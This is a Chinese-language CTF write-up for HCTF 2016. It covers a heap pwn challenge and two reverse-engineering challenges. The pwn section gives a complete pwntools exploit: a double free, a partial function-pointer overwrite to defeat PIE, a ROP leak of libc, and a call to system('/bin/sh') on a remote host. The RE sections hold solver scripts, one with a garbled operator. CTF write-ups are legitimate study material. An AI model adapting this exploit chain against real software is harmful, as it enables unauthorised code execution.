HCTF-2016-writeup

PWN-就是干

程序管理如下结构体


如果输入的content长度超过15,则会另外申请一块内存存放content,原来content数组的部分会用来存放content指针,
删除结构体时存在double free漏洞,适当构造内存申请释放的顺序就可以构造出堆块重叠,可以修改整个info结构体
因为程序开启了PIE保护,想要利用修改结构体中的函数指针来控制RIP前需要先leak binary,因为函数指针原先指向
的是0xd6c和0xd52两个地址,PIE保护下,代码地址最后三位仍然是固定的的,所以只需要将函数指针的最低字节修改为0x2d,
就可以将函数指针定位到0xd2d这个地址,这个地址的代码是call puts,这样删除堆块时,free(content)就会变成puts(content)
适当构造content的内容就可以将函数指针的至连带输出,进而计算出程序的基址
因为输入选项的时候可以在栈上填充大量的数据,因此通过修改函数指针来做ROP,用puts函数来leak libc
通过泄露出来的__libc_start_main函数地址在libc-database找到了对应的版本,但是其他函数的地址却和找到的版本对不上,libc-db上也找不到对应版本,
不过运气不错,远程的libc中的system函数偏移和在libc-database中找到的相差不远,略微调整远程就返回了sh not found这样的错误信息,这样就确定system函数地址正确
最后要执行system('/bin/sh'),原本想要往内存里写个/bin/sh或者把某个函数的GOT写成system,但是远程ROP执行read老是挂,无奈只好去找’/bin/sh’的地址,
通过system函数返回的sh: XX not found来确定当前地址的内容,再拿本机libc作为参照,不断微调找到正确的地址成功getshell
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
from pwn import *
context.log_level = 'debug'
def Create(p, context, length):
if length != 0x1000:
length = length + 1
context = context + '\x00'
p.recvuntil('3.quit\n')
p.send('create \n')
p.recvuntil('Pls give string size:')
p.send(str(length) + '\n')
p.recvuntil('str:')
p.send(context)
def Delete(p, id):
p.recvuntil('3.quit\n')
p.send('delete \n')
p.recvuntil('Pls give me the string id you want to delete\n')
p.send(str(id) + '\n')
p.recvuntil('Are you sure?:')
p.send('yes')
REMOTE = True
if REMOTE:
p = remote('115.28.78.54', 80)
p.recvuntil('please input you token: ')
p.send('HIR6yCbxwkyODNmaKToG4fANPJZnOJOBNuAf0Yio\n')
else:
p = process('./fheap')
elf = ELF('./fheap')
offset_pop4_ret = 0x11dc
offset_rdi_ret = 0x11e3
offset_mainloop = 0xc71
offset_rsi_r15 = 0x11e1
offset___libc_start_main_got = elf.got['__libc_start_main']
offset_atoi_got = elf.got['atoi']
offset_exit_got = elf.got['exit']
offset_puts_plt = elf.plt['puts']
offset_read_plt = elf.plt['read']
#raw_input()
Create(p, 'A' * 0x08, 0x08)
Create(p, 'B' * 0x1f, 0x1f)
Delete(p, 1)
Delete(p, 0)
payload = ''
payload += 'A' * 0x18 + chr(0x2d)
Create(p, payload, len(payload))
Delete(p, 1)
p.recvuntil('A' * 0x18)
bin_addr = u64(p.recvuntil('\n', drop = True).ljust(8, '\x00'))
bin_base = bin_addr - 0xd2d
pop4_ret = bin_base + offset_pop4_ret
rdi_ret = bin_base + offset_rdi_ret
rsi_r15_ret = bin_base + offset_rsi_r15
__libc_start_main_got = bin_base + offset___libc_start_main_got
atoi_got = bin_base + offset_atoi_got
puts_plt = bin_base + offset_puts_plt
read_plt = bin_base + offset_read_plt
main_loop = bin_base + offset_mainloop
exit_got = bin_base + offset_exit_got
log.info('fheap base: ' + hex(bin_base))
Delete(p, 0)
payload = ''
payload += 'A' * 0x18 + p64(pop4_ret)
Create(p, payload, 0x1000)
payload = ''
payload += 'delete '
payload += p64(0xdeadbeefdeadbeef) * 0x38
payload += p64(0xdeadc0dedeadc0de)
payload += p64(rdi_ret)
payload += p64(__libc_start_main_got)
payload += p64(puts_plt)
payload += p64(main_loop)
p.recvuntil('3.quit\n')
p.send(payload + '\n')
p.recvuntil('Pls give me the string id you want to delete\n')
p.send(str(1) + '\n')
p.recvuntil('Are you sure?:')
p.send('yes')
__libc_start_main_addr = u64(p.recvuntil('\n', drop = True).ljust(8, '\x00'))
log.info("__libc_start_main() addr: " + hex(__libc_start_main_addr))
offset___libc_start_main = 0x0000000000020740
offset_system = 0x0000000000045380
offset_str_bin_sh = 0x18c58b
libc_base = __libc_start_main_addr - offset___libc_start_main
libc_base = libc_base + 0x10
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh + 0x3a - 0x48d + 0x40 - 0x11
payload = ''
payload += 'delete '
payload += p64(0xdeadc0dedeadc0de) * 0x41
payload += p64(rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(main_loop)
p.recvuntil('3.quit\n')
p.send(payload + '\n')
p.recvuntil('Pls give me the string id you want to delete\n')
p.send(str(1) + '\n')
p.recvuntil('Are you sure?:')
p.send('yes')
p.interactive()

RE 前年400

IDA稍微动态跟了下找到了验证函数,验证if里面一大串的条件,最后抠出来是一个22元一次方程组,那python处理下然后用numpy解一下,注意下浮点取整就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import numpy as np
f = open('./list.txt')
matrix = []
resultlist = []
while 1:
content = f.readline()
if not content:
break;
i = 0
elementlist = []
while i < 22:
elementlist.append(0)
i = i + 1
result = int(content.split('==')[1])
tears = content.split('==')[0]
tmplist = {}
i = 0
numlist = tears.split(' + ')
while i < 22:
num = int(numlist[i].split('*')[0])
idx = numlist[i].split('*')[1][1:]
i = i + 1
tmplist[idx] = num
i = 0
while i < 22:
elementlist[i] = tmplist[str(i + 3)]
i = i + 1
matrix.append(elementlist)
resultlist.append(result)
print matrix
print resultlist
a = np.array(matrix)
b = np.array(resultlist)
x = np.linalg.solve(a, b)
print x

RE normal

程序将输入分成了几个部分来验证,每一部分验证正确后将这一部分的输入作为xor key来将下一个部分的验证代码还原出来
第一部分先将大括号里的前四个字符按位拆成8个字节,然后打了好长的一个表,然后做各种变换,和简单处理过的输入异或,最后和结果比对
把打好的表和最后的变换抠出来,拿结果异或回去就行了。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
unsigned char v7[] =
{
0x03, 0xCC, 0x42, 0xDE, 0x2F, 0x7F, 0xF9, 0x66, 0x23, 0x01,
0x0B, 0x31, 0x0F, 0x15, 0x5B, 0x18, 0xC5, 0xF8, 0x45, 0xF7,
0x73, 0xE3, 0x6D, 0x32, 0xB5, 0x6C, 0x61, 0x7B, 0x07, 0xC6,
0x78, 0xFD, 0x11, 0x19, 0x90, 0x50, 0x00, 0x3C, 0x08, 0x36,
0xD4, 0x5F, 0x8F, 0xB1, 0x3D, 0xCD, 0xF6, 0x17, 0x9C, 0xC0,
0xB0, 0x8D, 0x43, 0x8E, 0x63, 0x51, 0xE1, 0x68, 0x29, 0x2B,
0xDC, 0x6B, 0xE4, 0xC2, 0x6A, 0x97, 0xB6, 0x70, 0x62, 0x3B,
0x72, 0xEF, 0xDF, 0x7D, 0xC7, 0xA4, 0x58, 0x5A, 0xA6, 0xEA,
0x28, 0xB2, 0x9D, 0x8A, 0x7E, 0xE7, 0x91, 0x94, 0xC3, 0xAA,
0xD6, 0x48, 0xD2, 0x92, 0x76, 0x65, 0xD5, 0xFB, 0x14, 0xA0,
0x0E, 0x83, 0x47, 0xA1, 0x3A, 0xF0, 0xB3, 0x09, 0x44, 0x27,
0xB8, 0x55, 0x8C, 0xED, 0x8B, 0x0A, 0x75, 0x30, 0x38, 0x4F,
0xC1, 0x52, 0xC8, 0xE2, 0xDA, 0xAF, 0x3E, 0x81, 0xAC, 0xA8,
0x20, 0xBE, 0x7C, 0x9E, 0xA3, 0x7A, 0x54, 0x06, 0x1C, 0x99,
0xE5, 0x49, 0x33, 0xBD, 0x9F, 0xD8, 0xE0, 0x41, 0xA5, 0x2C,
0x05, 0xF4, 0x35, 0x2D, 0x89, 0x10, 0xDB, 0x0C, 0xAD, 0x93,
0xEB, 0xBC, 0x5E, 0xFF, 0x6F, 0xE8, 0xC9, 0x13, 0x82, 0x77,
0x96, 0x3F, 0x4C, 0xBA, 0xB4, 0xA2, 0xCE, 0xDD, 0x04, 0x4B,
0x39, 0x2A, 0x46, 0xCA, 0x85, 0xFC, 0x25, 0xA7, 0x24, 0x57,
0x1E, 0x1D, 0x4A, 0x87, 0xFA, 0x26, 0xF5, 0x0D, 0x12, 0x1B,
0xAE, 0x79, 0x67, 0xBB, 0x21, 0x69, 0x74, 0x84, 0x22, 0x5C,
0x5D, 0xEC, 0xEE, 0x1F, 0x37, 0xE9, 0xF2, 0x40, 0x86, 0xD7,
0xF1, 0xA9, 0xAB, 0xD0, 0x98, 0x64, 0xF3, 0x9A, 0x9B, 0x71,
0x4D, 0x4E, 0xB7, 0x60, 0x95, 0xCB, 0x02, 0x59, 0xBF, 0xB9,
0x88, 0xC4, 0xCF, 0x16, 0xD3, 0xD1, 0xD9, 0x80, 0x1A, 0xFE,
0x2E, 0x6E, 0x56, 0x34, 0x53, 0xE6, 0x00, 0x03, 0x01, 0x03,
0x02, 0x03, 0x03, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00
};
int main()
{
int i, j;
i = 0;
unsigned char v4, v21, v17, v16;
v4 = 0;
v21 = 0;
v17 = 0;
v16 = 0;
unsigned char v8[0x08] = "]\t\x90\x90&/\x01\x8a";
for ( j = 0; j < 8; ++j )
{
i = (unsigned char)(((unsigned int)((signed int)(i + 1) >> 31) >> 24) + i + 1)
- ((unsigned int)((signed int)(i + 1) >> 31) >> 24);
v4 = (unsigned int)((signed int)(v21 + (unsigned char)v7[i]) >> 31) >> 24;
v21 = (unsigned char)(v4 + v21 + v7[i]) - v4;
v17 = (unsigned char)v7[i];
v7[i] = v7[v21];
v7[v21] = v17;
v16 = (unsigned char)v7[(unsigned char)(v7[i] + v7[v21])];
v8[j] ^= v16;
printf("0x%x ", v8[j]);
}
puts("");
}

第二部分将6个字符通过各种位运算和结果作比较,爆破下就好(刚开始自己犯蠢烦了出题人好久,惭愧惭愧)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import string
#Basic_
input3 = '_'
input2_list = []
for c in string.printable:
if ord('=') == ((4 * ord(c)) flag 0x3c) + (ord(input3) >> 6) + 48:
input2_list.append(c)
print input2_list
for fix in range(0x10):
for i in input2_list:
if ord('F') == ((16 * (0x60 + fix)) & 0x30) + (ord(i) >> 4) + 48:
print chr(fix + 0x60), i

第三部分坑点来了。。。不知是何原因程序在还原这一段代码时有大概率出错,IDA很难解析出正确的汇编代码,多次尝试后找到了验证逻辑,
将输入的字符高4位低4位互换(0x61变成0x16),异或0x11后和结果对比,这一部分没写代码手动解,结果是0f_RE_a
第四部分和第三部分同样的问题,只是出错概率更大,多次尝试后放弃调试,直接手动还原出代码放到IDA里面分析,发现是输入和常量对比,
然后就还原出了整个flag(上一部分最后那个a到这一部分就不对了,而且这一部分的代码还是用这个a异或出来的,略有点神奇)

文章目录
  1. 1. PWN-就是干
  2. 2. RE 前年400
  3. 3. RE normal
|